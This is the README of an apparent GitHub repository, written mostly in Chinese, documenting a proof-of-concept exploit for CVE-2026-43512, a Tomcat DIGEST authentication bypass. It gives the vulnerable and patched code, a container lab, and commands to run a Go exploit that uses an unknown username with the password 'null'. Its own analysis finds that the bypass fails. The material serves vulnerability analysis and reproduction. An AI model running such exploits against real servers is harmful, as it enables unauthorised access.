covepseng/cve-2026-43512-poc
GitHub: covepseng/cve-2026-43512-poc
Apache Tomcat DIGEST 认证绕过漏洞(CVE-2026-43512)的概念验证项目,包含漏洞复现环境和 Go 语言 PoC 利用程序。
Stars: 0 | Forks: 1
# CVE-2026-43512 — Apache Tomcat DIGEST 认证绕过
## 目录
- [概述](#overview)
- [受影响版本](#affected-versions)
- [根本原因](#root-cause)
- [分析](#analysis)
- [仓库结构](#repository-structure)
- [环境要求](#requirements)
- [用法](#usage)
- [预期输出](#expected-output)
- [参考资料](#references)
- [免责声明](#disclaimer)
## 概述
CVE-2026-43512 是 Apache Tomcat 的 HTTP DIGEST 认证机制中的一个漏洞。`RealmBase.getDigest()` 方法在构造 A1 哈希输入之前,没有对 `getPassword(username)` 的返回值进行校验。当配置的 Realm 中不存在某个用户名时,`getPassword()` 会返回 `null`,而 Java 的字符串拼接操作符会将其静默转换为四个字符的字面量 `"null"`。
因此,服务器计算的内容为:
```
A1 = MD5("::null")
```
如果客户端提交的 DIGEST 响应是使用字面字符串 `"null"` 作为密码计算出来的,则会产生完全相同的哈希值。根据安全公告,这构成了认证绕过。
本仓库包含一个最小化的复现环境以及一个基于 Go 的概念验证(PoC),用于针对真实的 Tomcat 实例验证这一说法。
## 受影响版本
| 受影响范围 | 修复版本 |
|------------------------|-----------|
| 7.0.0 – 7.0.109 | 7.0.110 |
| 8.5.0 – 8.5.100 | 8.5.101 |
| 9.0.0.M1 – 9.0.117 | 9.0.118 |
| 10.1.0.M1 – 10.1.54 | 10.1.55 |
| 11.0.0.M1 – 11.0.21 | 11.0.22 |
## 根本原因
`RealmBase.java` 中的易受攻击代码路径(所有受影响的分支):
```
// RealmBase.java — vulnerable
protected String getDigest(String username, String realmName, String algorithm) {
if (hasMessageDigest(algorithm)) {
return getPassword(username); // returns null for unknown users
}
// null is concatenated as the literal "null" by Java
String a1 = username + ":" + realmName + ":" + getPassword(username);
return HexUtils.toHexString(
ConcurrentMessageDigest.digest(algorithm, a1.getBytes(...))
);
}
```
修复方案([提交 `6565a6c`](https://github.com/apache/tomcat/commit/6565a6cb6499e56fe2f34457cec99f9d1c4f39e9))添加了一个显式的 null 检查:
```
// RealmBase.java — patched
protected String getDigest(String username, String realmName, String algorithm) {
String password = getPassword(username);
if (password == null) {
return null;
}
...
}
```
## 分析
在启用 `FINE` 级别日志记录的情况下,针对 Tomcat 11.0.0-M1 运行 PoC 会显示以下信息:
```
Digest: 2388e2c78407def640f37f092a8d3a84 ← client
Server digest: 2388e2c78407def640f37f092a8d3a84 ← server
Failed to authenticate user [ghost]
```
**摘要哈希值匹配。** `getDigest()` 中的 bug 是真实的并已得到确认。然而,认证仍然会失败,因为 `RealmBase.authenticate()` 还有第二个独立的检查:
```
// RealmBase.authenticate()
if (serverDigest.equals(clientDigest)) {
return getPrincipal(username); // returns null for non-existent users
}
return null;
```
在由 `tomcat-users.xml` 支持的标准 `UserDatabaseRealm` 中,`getPrincipal()` 会针对内存中的用户数据库执行查找。对于该数据库中不存在的用户名,它会返回 `null`。调用方会将 `null` 的 Principal 视为认证失败,并发出 `401` 状态码。
## 仓库结构
```
cve-2026-43512-poc/
├── Dockerfile # Tomcat 11.0.0-M1 (affected version)
├── tomcat-users.xml # Minimal Realm config — no user "ghost"
├── webapps/
│ └── protected/
│ ├── WEB-INF/
│ │ └── web.xml # DIGEST auth on /protected/*
│ └── secret.html # Protected resource
├── exploit/
│ ├── exploit.go # PoC — Go, stdlib only
│ └── go.mod
└── README.md
```
## 环境要求
| 工具 | 版本 | 备注 |
|------|---------|-------|
| Podman | ≥ 4.0 | Docker 也可以 |
| Go | ≥ 1.22 | 仅用于在本地运行漏洞利用程序 |
## 用法
### 1. 构建并启动容器
```
podman build -t tomcat-cve-2026-43512 .
podman run -d --name tomcat-vuln -p 8080:8080 tomcat-cve-2026-43512
```
等待几秒钟让 Tomcat 完成启动,然后验证它是否已正常运行:
```
curl -si http://localhost:8080/protected/secret.html | head -1
# HTTP/1.1 401
```
### 2. 运行漏洞利用程序
```
cd exploit
go run exploit.go \
-target http://localhost:8080 \
-path /protected/secret.html \
-username ghost
```
可用的标志:
| 标志 | 默认值 | 描述 |
|------|---------|-------------|
| `-target` | `http://localhost:8080` | Tomcat 基础 URL |
| `-path` | `/protected/` | 受保护资源的路径 |
| `-username` | `ghost` | 要使用的用户名 — 必须**不**存在于 `tomcat-users.xml` 中 |
### 3. 启用详细的 Tomcat 日志记录(可选)
要观察内部认证状态,请添加一个 `logging.properties` 文件并将其挂载:
```
org.apache.catalina.authenticator.level = FINE
org.apache.catalina.realm.level = FINE
```
```
podman run -d --name tomcat-vuln -p 8080:8080 \
-v ./logging.properties:/usr/local/tomcat/conf/logging.properties:ro \
tomcat-cve-2026-43512
```
日志将直接显示摘要比对的结论,从而确认哈希值是否匹配。
### 4. 清理
```
podman stop tomcat-vuln && podman rm tomcat-vuln
```
## 预期输出
```
============================================================
CVE-2026-43512 — Tomcat DIGEST Auth Bypass PoC
============================================================
Target : http://localhost:8080/protected/secret.html
Username : "ghost" (must NOT exist in tomcat-users.xml)
Password : "null" (literal string)
------------------------------------------------------------
[1] Sending unauthenticated request to obtain DIGEST challenge...
[+] HTTP 401 received — DIGEST challenge:
Digest realm="UserDatabase", qop="auth", nonce="...", opaque="..."
[*] realm="UserDatabase" nonce="..." qop="auth" algorithm="MD5"
[2] Computing DIGEST response with password="null"...
Digest username="ghost", realm="UserDatabase", ...
[3] Sending request with crafted DIGEST credentials...
------------------------------------------------------------
[✗] HTTP 401 — exploit failed.
The UserDatabaseRealm provides a second line of defence:
getPrincipal("ghost") returned null after the digest matched.
============================================================
```
## 参考资料
| 资源 | 链接 |
|----------|------|
| Apache Tomcat 安全公告 | https://tomcat.apache.org/security-9.html |
| 修复提交 | https://github.com/apache/tomcat/commit/6565a6cb6499e56fe2f34457cec99f9d1c4f39e9 |
| `RealmBase.java` (main) | https://github.com/apache/tomcat/blob/main/java/org/apache/catalina/realm/RealmBase.java |
| RFC 2617 — HTTP Digest Authentication | https://datatracker.ietf.org/doc/html/rfc2617 |
| 完整分析 — 博客文章 | https://return-zero.dev/posts/cve-2026-43512 |
## 免责声明
本仓库仅供教育目的和本地漏洞利用分析使用。所有测试均是在自行搭建的容器环境中进行的。请勿对您不拥有或未获得明确书面授权测试的系统运行此 PoC。
标签:Apache Tomcat, CISA项目, EVTX分析, Go语言, PoC, 日志审计, 暴力破解, 程序破解, 请求拦截, 身份验证绕过